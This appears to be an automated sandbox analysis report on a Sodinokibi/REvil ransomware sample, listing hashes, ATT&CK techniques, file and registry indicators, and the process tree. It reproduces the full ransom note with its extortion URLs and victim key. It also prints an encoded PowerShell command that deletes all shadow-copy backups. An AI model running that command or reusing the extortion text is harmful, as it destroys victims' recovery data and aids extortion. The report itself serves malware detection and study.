sodinokibi | 7559e6ca8b77400f88bf4e67208a1c32570a670068eccae9e3d226cc5471bd47

Resubmissions

14/04/2025, 17:40

250414-v89s1swlw9 10

05/02/2025, 06:51

05/02/2025, 06:49

28/04/2024, 18:31

21/04/2024, 08:57

21/04/2024, 05:45

18/04/2024, 19:05

18/04/2024, 16:34

Analysis

max time kernel
435s
max time network
437s
platform
windows10-2004_x64
resource
win10v2004-20250410-en
resource tags

arch:x64arch:x86image:win10v2004-20250410-enlocale:en-usos:windows10-2004-x64system
submitted
14/04/2025, 17:40

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General

Target

bazaar.2020.02/HEUR-Trojan-Ransom.Win32.Sodin.dll
Size

164KB
MD5

b039e1d100166dc2e80ac9ff3f658481
SHA1

7ff4100e822925edf67ccf03ec7b39babacf70cd
SHA256

23096a2bc9feeabd37a9704d0653f4628ef740cdfe24af364ee09d379ec39d95
SHA512

a41fa1ba35ab11f8ee4a8c45286bd7ccf48a8ced9498c6abbfd43d42286bd88a346921e7ae1534510ff574b6e55b37c52ebf32ebd2c65d2095ed997e330fa24c
SSDEEP

3072:v0XoUeZ/DVS8L73ea4MoCLfqQvFfG4gdYR3NQT3U:veoUeZR2TRCWQFfG4gdYR3NQTE

Score

10^/10

sodinokibi discovery ransomware

Malware Config

Extracted

Path

C:\Program Files (x86)\pvxbmz6-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension pvxbmz6. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/C46CC19D08D2FD88 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/C46CC19D08D2FD88 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: xbArd4syJyu1oiqxbrdR+vNxcjoMFADVGkaacLWRWvU75jEOiQi2ECj96U2EmhVu fGCzKJhjskTZls4iBcyp+MXjwlOvr9vPIBAZY9/qGhNYy2xTH0d4F4AnZ+YAx1ua 106hPw5QWWqvmqsfl80BNqcDIrLSTNgq4ZaPlHtyj8KJYzhKxOwSk2i6LVwl8sBA wZ8Kw3nXM0hQe+FJGTRO49qvtQWIrMW+hqYjAN8bbqF3yR2F7tnBXGHin7BnXnaz Y7XpE8pjYXmRXV+FvyPHoJxN4UjdgPmTgeJ+I0XuwwdRZEy2s36XhKDwYX6WwX3N C8K9+xKOnC3+EKVb3N2yAqv4EO+Y/kaHjHbUMuVPQy5N3wijH78CT90vUCS8ba6D GrutE4YZ9jE1TriAtJ/vHxb1SR9wsSPIzX5HugSu3uu80Lyl1SpoMQLpRDI1HNoH tHgXSrdlYQExlro0Sggt1zaNEX+38HMacAb5mN77kZ+ggZBLO/lkRGvPkwKUM/Wv asdkVmJYM5ubJArUVd+w4wssL/Ts7/gIVEmNIjxNwboPsGado5OxZrteUJHaW8Me N8msAH19YKhvn+Bt1AWc77JUUpBeRJvnJE8jRQ0ZlQvKbaDEXzadh7FWRKduUcWR B6gSEfMRil3PBdfsUA0Wuk6TDpqowDWw6aUPVMHYFgf6VwKhMa5HBr5jbsjmKsCY p0aS6fr8LdTOqNSAR2OedMONgkylIsv/2KJvq3vDA5vF34urAK/YXKDoJrVa0MWs ViWFnh6kK43cNGYLQ8YQtt4j15XVYzq4XzuBvdL00fSbi9jsMbT4z1oxJs8H48Os Atl3DAWkCB6OkUXW5fllr1PthDjW9nnAWcf9aHHXgIZ/kTGMDwgdygyCAiIb5uth Qj/3QpTpSwUMPO+DTMKUw0pPRqUw/sk6qXkoWfoYmcQRZIlmQLA9zwernb0L/6pa 7chZ0NLk27ov86oOYZb9QmG5H6aLSwZDqi+u4C24kQr+YroqyG5Qg77jzjL/tGIU v4X7GBfymySQlhpqzH2nq6lUm6bInO5ZtgyygEcXMVGNjxmX2/34yDchO9p3IAlK azKOcqfXje9nIIEo4eaq+7XoX1LaINcuk1jvuFQ/UvHlxWksgK15D2f7kbuk1gCH 3LzHuQ+TCW5iq/t/bHtZud7eL/xSVUpdlaHMsZ2FtDeaC2ZNzHJlGZhKQY6ovE8m sTRiZBp5Qv5X8++2PTedg23xjTo= Extension name: pvxbmz6 ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/C46CC19D08D2FD88

http://decryptor.top/C46CC19D08D2FD88

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Sodinokibi family
sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\D:	rundll32.exe

Drops file in Program Files directory 21 IoCs

description	ioc	Process
File created	\??\c:\program files (x86)\pvxbmz6-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\ExpandShow.aif	rundll32.exe
File opened for modification	\??\c:\program files\JoinInitialize.ps1xml	rundll32.exe
File opened for modification	\??\c:\program files\MountNew.vb	rundll32.exe
File created	\??\c:\program files\pvxbmz6-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\chrome_installer.log	rundll32.exe
File opened for modification	\??\c:\program files\ExitUndo.3g2	rundll32.exe
File opened for modification	\??\c:\program files\MoveClose.M2T	rundll32.exe
File opened for modification	\??\c:\program files\msedge_installer.log	rundll32.exe
File opened for modification	\??\c:\program files\SaveSync.pub	rundll32.exe
File opened for modification	\??\c:\program files\UseInvoke.iso	rundll32.exe
File opened for modification	\??\c:\program files\CheckpointUse.inf	rundll32.exe
File opened for modification	\??\c:\program files\ExportClose.contact	rundll32.exe
File opened for modification	\??\c:\program files\GetConvertFrom.emf	rundll32.exe
File opened for modification	\??\c:\program files\RequestDebug.potm	rundll32.exe
File opened for modification	\??\c:\program files\SyncRevoke.DVR	rundll32.exe
File opened for modification	\??\c:\program files\UnprotectRestore.mht	rundll32.exe
File opened for modification	\??\c:\program files\HideSuspend.M2V	rundll32.exe
File opened for modification	\??\c:\program files\RevokePing.css	rundll32.exe
File opened for modification	\??\c:\program files\SaveEnter.DVR-MS	rundll32.exe
File opened for modification	\??\c:\program files\SwitchSubmit.ttf	rundll32.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4460	rundll32.exe
4460	rundll32.exe
5508	powershell.exe
5508	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4460	rundll32.exe
Token: SeDebugPrivilege	5508	powershell.exe
Token: SeBackupPrivilege	1508	vssvc.exe
Token: SeRestorePrivilege	1508	vssvc.exe
Token: SeAuditPrivilege	1508	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 3508 wrote to memory of 4460	3508	rundll32.exe	85
PID 3508 wrote to memory of 4460	3508	rundll32.exe	85
PID 3508 wrote to memory of 4460	3508	rundll32.exe	85
PID 4460 wrote to memory of 5508	4460	rundll32.exe	89
PID 4460 wrote to memory of 5508	4460	rundll32.exe	89

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:3508
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
  2⤵
  - Enumerates connected drives
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4460
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5508

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:4564

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1508

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Program Files (x86)\pvxbmz6-readme.txt

Filesize
6KB

MD5
abcd48f9aefb12754876a51198de91a0

SHA1
9ff3fa6ac274e3f6984b1d1700d7086f6830bef5

SHA256
2ae3264be81a6bf0172baad2dfff4354cdcf6d3f776d02081d5725b4fc9fee77

SHA512
2d11cd997860fdadac1a2c005ed0d8ada41be917d11e2bd9aa28016248915353d0da67cc3a92e138e6887f6282f7db6e53e24b10327015164e332c2aa2fafe2e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_phlpkad4.pw5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/5508-0-0x00007FF8272C3000-0x00007FF8272C5000-memory.dmp

Filesize
8KB

Download
memory/5508-3-0x000001E2E2950000-0x000001E2E2972000-memory.dmp

Filesize
136KB

Download
memory/5508-11-0x00007FF8272C0000-0x00007FF827D81000-memory.dmp

Filesize
10.8MB

Download
memory/5508-12-0x00007FF8272C0000-0x00007FF827D81000-memory.dmp

Filesize
10.8MB

Download
memory/5508-15-0x00007FF8272C0000-0x00007FF827D81000-memory.dmp

Filesize
10.8MB

Download